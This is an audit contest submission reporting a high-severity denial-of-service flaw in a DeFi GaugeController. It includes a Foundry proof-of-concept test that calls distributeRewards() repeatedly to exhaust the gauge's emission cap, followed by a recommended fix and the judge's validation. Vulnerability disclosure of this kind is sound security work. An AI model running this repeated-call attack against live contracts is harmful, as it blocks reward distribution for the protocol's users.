Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Gauge rewards are not transferred to gauge when distributeRewards() is called

Summary

Gauge rewards are not transferred to gauge when distributeRewards() is called.

Vulnerability Details

In GaugeController, distributeRewards() is used for distributing rewards to a gauge.

GaugeController::distributeRewards()

function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
@> IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}

This function calls gauge's notifyRewardAmount() to notify contract of reward amount, and gauge's distributed amount for the current period is updated.

BaseGauge::notifyRewardAmount()

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
@> periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}

The problem is that distributeRewards() does not actually transfer the rewards, therefore, it is expected that admin transfers the funds to the gauge before calling distributeRewards(). A malicious user can backrun to call distributeRewards() multiple times, efficiently push periodState.distributed to its limit (emission cap), as a result, no more rewards can be distributed to the gauge during the period.

Impact

DOS

POC

Run forge test --mt testAudit_GaugeControllerDistributeRewardDOS.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DeToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/tokens/veRAACToken.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/core/collectors/FeeCollector.sol";
import "../contracts/core/collectors/Treasury.sol";
import "../contracts/core/governance/proposals/Governance.sol";
import "../contracts/core/governance/proposals/TimelockController.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "../contracts/core/governance/gauges/RAACGauge.sol";
import "../contracts/core/governance/gauges/GaugeController.sol";
import "../contracts/mocks/core/pools/MockPool.sol";
import "../contracts/mocks/core/tokens/MockToken.sol";
contract Audit is Test {
using WadRayMath for uint256;
using SafeCast for uint256;
address owner = makeAddr("Owner");
address repairFund = makeAddr("RepairFund");
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices raacHousePrices;
crvUSDToken crvUSD;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
RAACNFT raacNft;
veRAACToken veRaacToken;
RAACMinter raacMinter;
FeeCollector feeCollector;
Treasury treasury;
Governance governance;
TimelockController timelockController;
BoostController boostController;
GaugeController gaugeController;
RAACGauge raacGauge;
MockToken gaugeRewardToken;
MockToken gaugeStakingToken;
function setUp() public {
vm.warp(1740000000);
vm.startPrank(owner);
raacHousePrices = new RAACHousePrices(owner);
// Deploy tokens
raacToken = new RAACToken(owner, 100, 50);
veRaacToken = new veRAACToken(address(raacToken));
crvUSD = new crvUSDToken(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
// Deploy Treasury and FeeCollector
treasury = new Treasury(owner);
feeCollector = new FeeCollector(
address(raacToken),
address(veRaacToken),
address(treasury),
repairFund,
owner
);
// Deploy LendingPool
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
// Deploy stabilityPool Proxy
bytes memory data = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(owner),
address(crvUSD),
address(lendingPool)
);
address stabilityPoolProxy = address(
new TransparentUpgradeableProxy(
address(new StabilityPool(owner)),
owner,
data
)
);
stabilityPool = StabilityPool(stabilityPoolProxy);
// RAACMinter
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
// Governance
address[] memory proposers;
address[] memory executors;
timelockController = new TimelockController(2 days, proposers, executors, owner);
governance = new Governance(address(veRaacToken), address(timelockController));
// Boost
boostController = new BoostController(address(veRaacToken));
// Gauges
gaugeController = new GaugeController(address(veRaacToken));
gaugeRewardToken = new MockToken("Reward Token", "RWD", 18);
gaugeStakingToken = new MockToken("veRAAC Token", "veRAAC", 18);
raacGauge = new RAACGauge(address(gaugeRewardToken), address(gaugeStakingToken), address(gaugeController));
// Initialization
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
lendingPool.setStabilityPool(address(stabilityPool));
raacToken.setMinter(address(raacMinter));
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(raacMinter), true);
raacToken.manageWhitelist(address(stabilityPool), true);
raacToken.manageWhitelist(address(veRaacToken), true);
timelockController.grantRole(keccak256("PROPOSER_ROLE"), address(governance));
timelockController.grantRole(keccak256("EXECUTOR_ROLE"), address(governance));
timelockController.grantRole(keccak256("CANCELLER_ROLE"), address(governance));
timelockController.grantRole(keccak256("EMERGENCY_ROLE"), address(governance));
vm.stopPrank();
vm.label(address(crvUSD), "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(deToken), "DEToken");
vm.label(address(raacToken), "RAACToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
vm.label(address(stabilityPool), "StabilityPool");
vm.label(address(raacMinter), "RAACMinter");
vm.label(address(veRaacToken), "veRAAC");
vm.label(address(feeCollector), "FeeCollector");
vm.label(address(treasury), "Treasury");
vm.label(address(governance), "Governance");
vm.label(address(timelockController), "TimelockController");
vm.label(address(boostController), "BoostController");
vm.label(address(gaugeController), "GaugeController");
vm.label(address(raacGauge), "RAACGauge");
vm.label(address(gaugeRewardToken), "GaugeRewardToken");
vm.label(address(gaugeStakingToken), "GaugeStakingToken");
}
function testAudit_GaugeControllerDistributeRewardDOS() public {
// Add gauge
vm.prank(owner);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 5000);
// Admin transfers rewards and calls to distribute the rewards
deal(address(gaugeRewardToken), address(raacGauge), 125000e18);
gaugeController.distributeRewards(address(raacGauge));
// Malicious user calls to push distributed to the cap
gaugeController.distributeRewards(address(raacGauge));
gaugeController.distributeRewards(address(raacGauge));
gaugeController.distributeRewards(address(raacGauge));
// Admin cannot distribute more rewards
deal(address(gaugeRewardToken), address(raacGauge), 125000e18 + 125000e18);
vm.expectRevert(IGauge.RewardCapExceeded.selector);
gaugeController.distributeRewards(address(raacGauge));
}
}

Tools Used

Manual Review

Recommendations

Transfer rewards from caller to the gauge when distributeRewards() is called.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController notifies gauges of rewards without transferring tokens in both distributeRewards and _distributeToGauges functions, breaking reward distribution

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController notifies gauges of rewards without transferring tokens in both distributeRewards and _distributeToGauges functions, breaking reward distribution

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.